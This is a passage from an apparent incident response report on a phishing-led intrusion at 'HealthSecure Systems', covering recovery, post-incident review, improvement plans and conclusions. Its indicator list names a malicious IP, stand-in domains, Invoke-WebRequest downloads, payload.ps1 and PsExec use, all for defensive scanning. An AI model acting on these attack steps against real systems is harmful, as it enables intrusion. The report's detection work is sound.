evidence indicating successful unauthorized access to development infrastructure or 
proprietary healthcare application code. 

Despite the absence of confirmed compromise on these systems, HSS leadership 
recognized that the attempted lateral movement activity represented a serious security 
event. As part of recovery operations, additional hardening controls were implemented 
across critical infrastructure to reduce future attack exposure. These measures included 
restricting unnecessary administrative protocols, tightening firewall rules between network 
zones, and increasing authentication monitoring on sensitive systems. 

Credential security remained a major focus throughout recovery activities. Since 
investigators determined that credential harvesting likely occurred during the attack, HSS 
enforced mandatory password resets across affected user groups and privileged accounts. 
The organization also reviewed service account permissions, administrative group 
memberships, and authentication policies to identify excessive privileges or unnecessary 
access paths that could be abused in future attacks. 

In addition to password resets, HSS began implementing multifactor authentication (MFA) 
protections for administrative access, remote management sessions, and critical 
infrastructure systems. Although MFA deployment was not fully completed during the 
immediate recovery phase, leadership identified it as a critical security enhancement 
necessary to reduce the effectiveness of future credential-based attacks. 

One of the most important recovery objectives involved restoring confidence in the integrity 
of the HSS environment. Because the organization lacked centralized SIEM visibility prior to 
the incident, investigators initially faced challenges determining whether attacker activity 
had spread beyond the known compromised workstation. To address this concern, the 
security team conducted expanded enterprise-wide scans for indicators of compromise 
identified during the investigation. Investigators searched for evidence of: 

• connections to 45.77.33.88 
• communication with maliciousdomain.xyz 
• DNS queries involving secure-download.com 
• PowerShell Invoke-WebRequest activity 
• execution of payload.ps1 
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• PsExec service creation events 
• unauthorized RDP or SSH sessions 
• abnormal administrative authentication attempts 

This proactive review helped investigators confirm that no additional systems displayed 
indicators directly associated with the attack campaign. While the possibility of 
undiscovered compromise could never be entirely eliminated, the available evidence 
supported the conclusion that the attack had been contained before widespread 
propagation occurred. 

During recovery operations, HSS also focused on improving visibility and monitoring 
capabilities across the enterprise. Temporary heightened monitoring remained in place for 
several weeks following the incident to identify any signs of residual attacker activity or 
delayed persistence mechanisms. Analysts closely monitored: 

• outbound network traffic 
• PowerShell execution events 
• failed authentication attempts 
• administrative privilege changes 
• remote management protocol usage 
• suspicious DNS activity 
• endpoint security alerts 

Because the investigation identified monitoring gaps affecting Linux infrastructure, HSS 
additionally expanded logging and detection coverage across DMZ systems and 
development assets. Improved SSH auditing, endpoint telemetry, and authentication 
monitoring were deployed to provide more complete visibility into future attack attempts 
targeting Linux environments. 

The organization also reviewed and tested backup restoration procedures during the 
recovery phase to ensure operational resilience in the event of future incidents. Although 
the current attack did not result in confirmed ransomware deployment or destructive data 
encryption, leadership recognized that the attacker’s behavior aligned with common early-
stage ransomware intrusion tactics. As a result, HSS validated the integrity and 
recoverability of critical system backups, including payroll systems, development 
repositories, and business application infrastructure. 

Communication management formed another important aspect of the recovery process. 
Internal leadership teams, IT personnel, legal advisors, and relevant operational 
stakeholders received regular status updates regarding investigation findings, system 
restoration progress, and ongoing monitoring efforts. Because no evidence of confirmed 
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customer data exfiltration had been identified at the time of recovery, HSS did not initiate 
external breach notification procedures. However, leadership acknowledged that 
continued forensic monitoring would remain necessary to validate this conclusion. 

The recovery phase ultimately demonstrated the importance of cautious, evidence-driven 
restoration procedures following a security incident involving credential theft and lateral 
movement behavior. By rebuilding compromised assets from trusted baselines, validating 
system integrity, expanding monitoring capabilities, and strengthening access controls, 
HSS successfully restored operational functionality while significantly reducing the 
likelihood of continued attacker access. 

Although business operations resumed successfully following remediation efforts, the 
incident exposed substantial weaknesses in organizational readiness, identity 
management, endpoint visibility, and security governance. These findings reinforced the 
need for broader strategic improvements to ensure that future incidents can be detected, 
contained, and recovered from more efficiently and with less organizational risk. 

 

Post-Incident Review 
Following the successful containment, eradication, and recovery phases, HealthSecure 
Systems (HSS) conducted a comprehensive post-incident review to evaluate the 
effectiveness of the organization’s response efforts, identify operational strengths and 
weaknesses, and determine what strategic improvements would be necessary to 
strengthen the company’s long-term cybersecurity resilience. The purpose of this review 
was not only to analyze the technical aspects of the breach, but also to evaluate how 
organizational preparedness, communication, tooling, staffing, and procedural maturity 
influenced the overall outcome of the incident. 

The review determined that several aspects of the incident response process were handled 
effectively despite the organization’s limited security staffing and operational constraints. 
One of the most important successes involved the relatively rapid identification of 
suspicious activity through existing network monitoring tools. Although HSS lacked a 
centralized SIEM platform, the combination of Snort IDS alerts, Zeek network telemetry, 
and Windows Event Logs provided enough visibility for analysts to identify abnormal 
PowerShell execution, PsExec activity, and outbound communications with malicious 
infrastructure shortly after compromise activity began. 

The organization’s deployment of Zeek network monitoring and internal honeypot systems 
also proved highly valuable during the investigation. The honeypot deployed within the 
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Development DMZ generated critical telemetry when the attacker attempted SSH access 
to the DevAppServer using stale employee credentials. This activity provided investigators 
with additional insight into attacker objectives and lateral movement behavior. Without this 
visibility, the attempted reconnaissance against development infrastructure may have 
gone undetected. 

Another major strength involved the decision to isolate Workstation-23 quickly after 
confirming malicious activity. Rapid endpoint isolation significantly reduced the attacker’s 
ability to continue lateral movement operations and prevented further communication with 
malicious external infrastructure. The immediate blocking of malicious domains and IP 
addresses also helped disrupt command-and-control communications before 
investigators identified evidence of widespread propagation or confirmed data exfiltration. 

The post-incident review additionally found that the forensic preservation process was 
handled appropriately. Disk images, memory captures, logs, and malware artifacts were 
preserved prior to remediation activities, ensuring that investigators retained access to 
critical evidence needed for analysis and reporting. This approach demonstrated strong 
forensic discipline and allowed the organization to reconstruct the attacker’s activity 
timeline in significant detail. 

Cross-functional communication during the incident also contributed positively to the 
overall response effort. The SOC Analyst, Forensics Specialist, and IT Operations personnel 
coordinated effectively under pressure despite the organization’s small incident response 
team structure. Leadership was informed throughout the containment and recovery 
phases, enabling timely decision-making related to operational risk, system isolation, and 
recovery priorities. 

However, despite these strengths, the post-incident review identified multiple serious 
weaknesses that significantly increased organizational exposure and contributed to the 
success of the attack. The most significant weakness involved inadequate phishing 
preparedness and user awareness training. The attack originated from a phishing email 
that successfully impersonated internal HR personnel using payroll-related urgency to 
manipulate the victim into interacting with a malicious link. Because HSS had not 
conducted phishing simulations or awareness training in over eighteen months, employees 
were not adequately prepared to identify modern social engineering tactics commonly 
used in credential theft and malware delivery campaigns. 

The review also identified major deficiencies in identity and access management practices. 
Manual employee offboarding procedures resulted in former employee accounts remaining 
active long after separation from the company. The attacker’s attempted use of “jcampbell” 
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credentials demonstrated how dormant accounts and cached credentials can become 
valuable attack vectors during post-compromise lateral movement attempts. Although the 
attempted login ultimately failed, the incident exposed the serious risks associated with 
weak account lifecycle management and insufficient deprovisioning validation procedures. 

Another major issue identified during the review involved inconsistent endpoint logging and 
monitoring coverage. The March 2025 internal audit had previously identified that 
PowerShell logging was disabled on approximately thirty percent of Windows systems due 
to policy misconfiguration. During the incident, this weakness created investigative blind 
spots and limited the organization’s ability to fully determine whether additional malicious 
PowerShell activity had occurred elsewhere in the environment. Inconsistent telemetry 
significantly complicated the investigation and reduced overall confidence in the 
completeness of visibility across enterprise systems. 

The lack of centralized SIEM capabilities represented another major operational weakness. 
Because HSS relied on disconnected monitoring platforms, analysts were forced to 
manually correlate evidence between Snort alerts, Zeek logs, endpoint telemetry, firewall 
records, and Windows Event Logs. This fragmented approach increased investigation 
complexity, slowed triage efforts, and reduced the organization’s ability to rapidly identify 
relationships between attacker actions occurring across multiple systems. 

The review additionally highlighted inadequate monitoring and security controls affecting 
Linux infrastructure and DMZ systems. Investigators determined that the attempted SSH 
access to the DevAppServer did not trigger EDR alerts, suggesting gaps in Linux endpoint 
detection policies or incomplete monitoring coverage. Given that the DevAppServer hosted 
proprietary healthcare application source code and development assets, the lack of strong 
visibility within this environment represented a significant organizational risk. 

Staffing limitations also impacted the effectiveness of the response effort. HSS maintained 
only a small incident response team consisting of one SOC Analyst, one Forensics 
Specialist, and one IT Manager. The organization lacked dedicated threat hunting 
personnel, detection engineers, and specialized incident coordinators. Although the team 
managed the incident effectively under difficult circumstances, the review concluded that 
limited staffing reduced proactive security operations and increased operational strain 
during investigation and containment activities. 

The post-incident review further determined that the organization’s incident response 
playbook required substantial modernization. The existing IR procedures had not been 
updated since 2022 and did not adequately address modern attack techniques involving 
PowerShell abuse, credential harvesting, phishing-driven compromise, or lateral 
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movement detection. Additionally, HSS had not conducted tabletop exercises or incident 
simulations in recent years, reducing organizational familiarity with coordinated incident 
response procedures during active security events. 

Several recommendations were developed as part of the post-incident review process to 
improve future response effectiveness. One of the highest-priority recommendations 
involved implementing a centralized SIEM solution capable of aggregating and correlating 
logs from IDS platforms, endpoints, authentication systems, network telemetry, and cloud 
infrastructure. Centralized visibility would significantly improve detection speed, alert 
correlation, and overall incident investigation efficiency. 

The review also strongly recommended implementing mandatory multifactor 
authentication (MFA) across all privileged accounts, administrative systems, VPN access 
points, and remote management interfaces. Because credential harvesting behavior was 
observed during the incident, MFA was identified as one of the most effective controls for 
reducing the risk of successful credential-based attacks in the future. 

Identity lifecycle management improvements were also prioritized. HSS leadership 
recognized the need to automate account deprovisioning workflows integrated directly with 
HR separation procedures to ensure immediate account disablement following employee 
termination or resignation. Additional periodic account audits and stale credential reviews 
were recommended to prevent inactive accounts from remaining accessible within Active 
Directory. 

The organization also identified the need for mandatory security awareness training and 
recurring phishing simulation exercises. Since social engineering served as the initial 
attack vector, leadership concluded that improving employee detection of suspicious 
emails represented a critical defensive control capable of reducing future incident 
likelihood. 

Technical recommendations from the review included enforcing standardized PowerShell 
logging across all Windows systems, expanding endpoint detection coverage across Linux 
infrastructure, tightening network segmentation policies, restricting unnecessary 
administrative protocols, and improving detection capabilities for lateral movement 
behavior involving SMB, RDP, and SSH. 

Finally, the review emphasized the importance of recurring incident response exercises and 
procedural updates. Leadership concluded that the organization must conduct regular 
tabletop exercises, attack simulations, and response drills to improve coordination, 
decision-making, and operational readiness during future incidents. The incident response 
playbook would require formal revision to address modern attack methodologies and 
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clearly define responsibilities, escalation paths, evidence handling procedures, and 
communication strategies. 

Overall, the post-incident review demonstrated that while HSS successfully contained the 
immediate threat before confirmed widespread compromise occurred, the organization’s 
security posture contained multiple weaknesses that increased the likelihood and 
potential severity of the incident. The attack exposed deficiencies in training, visibility, 
identity management, monitoring, and operational preparedness that must be addressed 
to improve long-term organizational resilience. At the same time, the response effort 
demonstrated that existing monitoring tools, rapid containment actions, and coordinated 
forensic analysis can significantly reduce business impact when incidents are identified 
and managed effectively. 

 

Continuous Improvement 
The April 12, 2025 security incident served as a significant learning opportunity for 
HealthSecure Systems (HSS) and highlighted the urgent need for long-term cybersecurity 
improvements across people, processes, and technology. Although the organization 
successfully contained the attack before confirmed widespread compromise or data 
exfiltration occurred, the investigation demonstrated that HSS’s current security posture 
lacked the maturity necessary to effectively defend against modern phishing-driven 
intrusions and post-compromise lateral movement activity. As part of the continuous 
improvement phase, HSS leadership and the incident response team identified several 
strategic initiatives designed to strengthen the organization’s overall resilience, improve 
detection and response capabilities, and reduce long-term operational risk. 

One of the most critical improvements identified involved the implementation of a 
centralized Security Information and Event Management (SIEM) platform. Throughout the 
investigation, analysts were forced to manually correlate evidence between Snort IDS 
alerts, Zeek network telemetry, Windows Event Logs, Bitdefender EDR, and firewall records 
because the organization lacked centralized log aggregation and correlation capabilities. 
This fragmented visibility significantly increased investigation time and reduced situational 
awareness during the early stages of the breach. 

By implementing a SIEM solution, HSS would gain the ability to centralize logging data from 
across the enterprise and automatically correlate suspicious events in real time. This 
capability would improve the organization’s ability to detect complex attack chains 
involving phishing, PowerShell abuse, credential theft, and lateral movement. A SIEM 
would also provide enhanced alert prioritization, behavioral analytics, automated response 
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workflows, and long-term log retention to support future investigations and compliance 
requirements. Given the organization’s handling of sensitive healthcare and payroll 
information, centralized visibility was identified as a foundational security requirement 
moving forward. 

Another major area requiring improvement involved identity and access management 
(IAM). The investigation revealed that former employee accounts remained active due to 
manual offboarding procedures, directly contributing to the attacker’s attempted use of 
“jcampbell” credentials during lateral movement operations. Leadership recognized that 
inactive accounts and unmanaged credentials create substantial security risks, 
particularly when attackers gain access to compromised endpoints capable of exposing 
cached credentials. 

To address this weakness, HSS planned to implement automated account lifecycle 
management integrated directly with HR systems. Under the proposed model, employee 
terminations, resignations, or role changes would automatically trigger account 
disablement workflows, significantly reducing the risk of orphaned accounts remaining 
active within Active Directory. In addition, HSS planned to conduct recurring account 
audits and privileged access reviews to identify unnecessary permissions, dormant 
accounts, or excessive administrative privileges that could be abused during future 
attacks. 

The organization also identified multifactor authentication (MFA) as a high-priority security 
enhancement. Because the attacker likely harvested credentials during the incident, 
leadership concluded that passwords alone no longer provided sufficient protection for 
sensitive systems. MFA deployment was therefore recommended across all privileged 
accounts, VPN access points, remote administration interfaces, and critical infrastructure 
systems. Implementing MFA would greatly reduce the effectiveness of stolen credentials 
and provide an additional security layer capable of preventing many forms of credential-
based attacks. 

Endpoint visibility and monitoring improvements represented another major focus area for 
continuous improvement efforts. During the investigation, the organization discovered that 
PowerShell logging had been disabled on approximately thirty percent of Windows systems 
due to policy misconfiguration. This created dangerous investigative blind spots and 
reduced visibility into malicious scripting activity commonly associated with modern 
malware and ransomware campaigns. 

To correct this issue, HSS planned to standardize endpoint logging configurations across all 
systems and enforce advanced PowerShell auditing capabilities enterprise-wide. 
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Enhanced script block logging, command-line auditing, and centralized event forwarding 
would allow analysts to more effectively identify suspicious PowerShell behavior, malware 
staging activity, and post-exploitation techniques. The organization also planned to expand 
endpoint detection and response (EDR) coverage to improve behavioral detection 
capabilities and strengthen visibility into abnormal process execution patterns. 

The incident additionally exposed serious visibility gaps affecting Linux systems within the 
Development DMZ. Investigators determined that the attempted SSH access to the 
DevAppServer failed to generate EDR alerts, suggesting incomplete monitoring or 
inconsistent policy enforcement across Linux infrastructure. Since the DevAppServer 
hosted proprietary healthcare application code and development artifacts, leadership 
recognized that the lack of visibility within the DMZ represented a major security concern. 

To address this weakness, HSS planned to expand Linux endpoint monitoring capabilities 
by implementing centralized SSH auditing, enhanced authentication logging, file integrity 
monitoring, and behavioral analytics for development systems. Security teams also 
planned to improve segmentation between development environments and user 
workstations to reduce opportunities for unauthorized lateral movement toward sensitive 
application infrastructure. 

Network architecture improvements were also identified as essential long-term security 
initiatives. Although the organization maintained basic segmentation between 
departments and network zones, the attacker was still able to attempt SMB, RDP, and SSH 
communication toward critical systems after compromising a Finance workstation. 
Leadership concluded that the existing segmentation model did not sufficiently restrict 
lateral movement opportunities between user endpoints and high-value assets. 

As part of network security improvements, HSS planned to adopt a more restrictive 
segmentation model based on Zero Trust principles. Under this approach, user 
workstations would only be permitted to communicate with systems explicitly required for 
business operations. Administrative protocols such as SMB, RDP, WinRM, and SSH would 
be tightly restricted, monitored, and limited to approved management networks whenever 
possible. Additional internal firewall controls and access control lists would further reduce 
attacker mobility within the environment. 

The phishing attack that initiated the compromise also demonstrated the urgent need for 
stronger employee security awareness training. The attacker successfully exploited 
urgency and trust associated with payroll operations to convince the victim to interact with 
a malicious link disguised as a legitimate payroll update. Because HSS had not conducted 
phishing simulations or security awareness exercises within the previous eighteen months, 
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employees were not adequately prepared to identify sophisticated social engineering 
attempts. 

To improve organizational resilience against phishing attacks, HSS planned to establish a 
recurring security awareness program that includes mandatory annual training, quarterly 
phishing simulations, and targeted education for high-risk departments such as Finance 
and Human Resources. The organization also planned to incorporate real-world phishing 
scenarios into training exercises to improve employee familiarity with modern social 
engineering tactics commonly used in credential theft and malware delivery campaigns. 

Incident response readiness and operational preparedness also emerged as major 
improvement areas following the investigation. The existing incident response playbook 
had not been updated since 2022 and lacked guidance addressing many of the attack 
techniques observed during the breach, including PowerShell abuse, credential harvesting, 
and lateral movement detection. Additionally, HSS had not conducted tabletop exercises 
or coordinated incident simulations in over eighteen months. 

To strengthen future response capabilities, leadership recommended performing quarterly 
tabletop exercises involving IT, security, legal, executive leadership, and operational 
stakeholders. These exercises would help improve coordination, communication, 
escalation procedures, and decision-making during active incidents. The organization also 
planned to revise and modernize the incident response playbook to reflect current attack 
methodologies, evidence handling procedures, containment workflows, and recovery 
strategies. 

Staffing improvements were also discussed during the continuous improvement review 
process. The incident placed considerable operational strain on the organization’s small 
incident response team, which consisted of only one SOC Analyst, one Forensics 
Specialist, and one IT Manager. While the team successfully managed the incident, 
leadership recognized that additional security personnel and specialized roles would 
improve proactive threat hunting, detection engineering, and incident coordination 
capabilities. 

As part of long-term planning, HSS considered expanding the cybersecurity team to 
include: 

• dedicated threat hunting personnel 
• detection engineers 
• security operations analysts 
• cloud and infrastructure security specialists 
• vulnerability management personnel 
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Leadership also explored the possibility of partnering with a managed security operations 
provider to supplement internal staffing limitations and provide 24/7 monitoring support. 

Finally, HSS recognized that cybersecurity must become a continuous organizational 
priority rather than a reactive operational function. The incident demonstrated that modern 
attacks can rapidly evolve from a single phishing email into enterprise-wide compromise 
attempts targeting payroll systems, development infrastructure, and sensitive business 
assets. To reduce long-term organizational risk, leadership committed to adopting a more 
proactive cybersecurity strategy emphasizing visibility, preparedness, layered defenses, 
continuous monitoring, and employee awareness. 

The continuous improvement phase ultimately reinforced that cybersecurity resilience is 
not achieved through a single technology or isolated control, but through the integration of 
strong processes, mature governance, effective monitoring, user education, and ongoing 
operational improvement. By implementing the lessons learned from this incident, HSS 
can significantly strengthen its ability to detect, contain, and recover from future attacks 
while improving the overall protection of sensitive healthcare and financial data entrusted 
to the organization. 

 

Conclusion 
The April 12, 2025 cybersecurity incident at HealthSecure Systems (HSS) demonstrated 
how a targeted phishing attack can rapidly evolve into a broader enterprise security threat 
when combined with weak credential management, inconsistent monitoring, and limited 
incident response maturity. What initially appeared to be suspicious PowerShell activity on 
a Finance department workstation ultimately revealed a coordinated intrusion attempt 
involving malware execution, credential harvesting, outbound communication with 
malicious infrastructure, and attempted lateral movement toward critical systems 
containing payroll information and proprietary healthcare application assets. 

The investigation determined that the attack originated from a phishing email 
impersonating internal HR personnel and leveraging payroll-related urgency to manipulate 
the victim into interacting with a malicious link. Once the user executed the PowerShell 
payload, the attacker established an initial foothold on Workstation-23 and began 
conducting reconnaissance and movement attempts throughout the environment. 
Evidence collected from Snort IDS alerts, Windows Event Logs, Zeek network telemetry, 
and forensic analysis confirmed that the attacker attempted to access both the HR SQL 
server and the DevAppServer located within the development DMZ. 
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Throughout the incident response process, HSS successfully executed several important 
actions that limited the severity of the breach. The organization rapidly isolated the 
compromised workstation, blocked malicious external infrastructure, secured affected 
credentials, preserved forensic evidence, and increased monitoring across critical 
systems. These containment and remediation efforts significantly reduced the likelihood of 
broader compromise and prevented confirmed unauthorized access to high-value 
infrastructure. 

However, the investigation also exposed several serious weaknesses within the 
organization’s cybersecurity posture. Inconsistent PowerShell logging, the absence of 
centralized SIEM capabilities, inadequate phishing awareness training, manual account 
deprovisioning processes, and incomplete Linux monitoring all contributed to the 
attacker’s ability to establish persistence and attempt lateral movement within the 
environment. The discovery that stale credentials belonging to a former employee 
remained accessible highlighted the operational risks associated with weak identity 
lifecycle management practices. 

The incident further demonstrated that HSS’s existing incident response processes 
required modernization and stronger operational readiness. While the response team 
coordinated effectively under pressure, outdated playbooks, limited staffing resources, 
and the absence of recent tabletop exercises reduced the organization’s overall 
preparedness for handling modern attack techniques involving PowerShell abuse, 
credential theft, and network-based reconnaissance. 

As a result of the investigation, several critical recommendations were identified to 
strengthen HSS’s long-term security posture. These included implementing centralized 
SIEM capabilities, enforcing multifactor authentication, standardizing endpoint logging 
configurations, improving Linux monitoring coverage, strengthening network segmentation, 
automating account deprovisioning workflows, expanding phishing awareness training, and 
conducting recurring incident response exercises. Together, these improvements will 
significantly enhance the organization’s ability to detect suspicious behavior earlier, reduce 
attacker movement opportunities, and improve response coordination during future 
security events. 

Although investigators found no confirmed evidence of widespread data exfiltration or 
destructive ransomware deployment during the incident, the attacker’s behavior aligned 
closely with common early-stage intrusion and ransomware preparation techniques. The 
rapid detection and response actions taken by HSS likely prevented the incident from 
escalating into a far more severe operational and regulatory crisis involving sensitive 
healthcare and financial information. 
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Ultimately, this incident reinforced the importance of proactive cybersecurity governance, 
layered defensive controls, centralized visibility, and continuous organizational 
improvement. Modern threat actors increasingly rely on phishing, credential theft, and 
legitimate administrative tools to bypass traditional defenses and move laterally through 
enterprise environments. Organizations handling sensitive healthcare and financial data 
must therefore maintain mature security monitoring, strong identity controls, well-
practiced incident response procedures, and continuous employee awareness initiatives 
to effectively defend against evolving threats. 

The lessons learned from Incident 2025-HSS-IR-002 provide HSS with a valuable 
opportunity to strengthen its cybersecurity program, improve operational resilience, and 
better protect the sensitive information entrusted to the organization by healthcare 
providers and their patients. 

 


